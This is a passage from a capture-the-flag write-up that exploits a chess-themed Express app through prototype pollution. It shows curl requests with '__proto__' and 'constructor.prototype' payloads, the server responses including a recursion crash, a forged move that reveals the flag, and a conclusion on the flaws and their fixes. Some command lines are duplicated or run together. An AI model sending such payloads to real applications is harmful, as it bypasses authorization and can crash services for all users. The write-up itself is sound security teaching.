-d '{"__proto__":{"unlocked":true,"config":{"unlocked":true}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Set-Cookie: sid=2060ac46ce7423d1282b49b8d6a01054; Path=/; HttpOnly; SameSite=Lax
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:29:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/reset curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/move
-H "Content-Type: application/json"
-d '{"from":"a1","to":"a8"}'
curl -c fresh.txt -b fresh.txt -i -X POST http://IP\_Address:3000/api/settings
-H "Content-Type: application/json"
-d '{"proto":{"unlocked":true}}'
curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/reset curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/move
-H "Content-Type: application/json"
-d '{"from":"a1","to":"a8"}'
cat > payload6.json << 'EOF'
{"constructor":{"prototype":{"unlocked":true}}}
EOF
curl -c test3.txt -b test3.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" --data @payload6.json
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=63dccdfe63193d8897f08a61f6e1b694; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:48:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{}}
cat > payload7.json << 'EOF' cat > payload7.json << 'EOF'
{"constructor":{"prototype":{"config":true}}}
EOF
curl -c test4.txt -b test4.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" --data @payload7.json
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=bb3b2d28a78ed0b498c4d2df119738ff; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:48:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{}}
cat > payload8.json << 'EOF' cat > payload8.json << 'EOF'
{"constructor":{"prototype":{"unlocked":true}}}
EOF
curl -c test5.txt -b test5.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" --data @payload8.json
curl -c test5.txt -b test5.txt -X POST http://IP_Address:3000/api/reset
curl -c test5.txt -b test5.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=8d8859d492939bc0ae32c1cbf8d3a414; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:49:13 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{}}{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"THM{pr0t0_p0lluted_th3_r3dacted}"}
Conclusion
Stepping back, this room does a nice job of using the same trivial "puzzle" (mate-in-one) as a wrapper around two very different, very real vulnerability classes:
Part 1: Client-Side Enforcement of Server-Side Security (CWE-602). The lesson here is old but still everywhere in the wild: any check that happens in JavaScript running on someone else's machine is a suggestion, not a control. If you need to prevent an action, the server has to refuse it — client-side validation is fine for UX, but it's not a security boundary.
Part 2: Prototype Pollution (CWE-1321), with a side of Uncontrolled Recursion (CWE-674). This one was the more interesting fight. A custom deepMerge used to save user preferences didn't properly guard against dangerous keys like__proto__, constructor, and prototype, which let a polluted key on Object.prototype get inherited by the server's session object turning a cosmetic "board theme" feature into a path toward flipping an authorization flag (session.config.unlocked) that was never meant to be user-controlled. Along the way, I also stumbled into the fact that the same unguarded recursion is a self-inflicted denial-of-service risk: a self-referential payload sent the merge function into infinite recursion and crashed the process for every session, not just mine a good reminder that testing prototype pollution payloads against a live, non-disposable target can do real damage, not just theoretical damage.
The bigger takeaway, and the reason I think this is a good room to write up rather than just grind through: both vulnerabilities come from the same underlying mistake: trusting structure you don't control. In Part 1, the app trusted that the client would behave. In Part 2, it trusted that a JSON object's shape wouldn't be weaponized against the language's own object model. Neither trust was warranted, and neither fix is exotic: enforce checks server-side, and never merge untrusted keys into an object without an explicit denylist (or better, a schema/whitelist) for __proto__, constructor, and prototype.
If you're working through this room yourself, I'd genuinely encourage doing Part 2 on a disposable instance and resetting liberally. I did not, and paid for it in wasted requests against a corrupted Object.prototype. Lesson noted for next time.



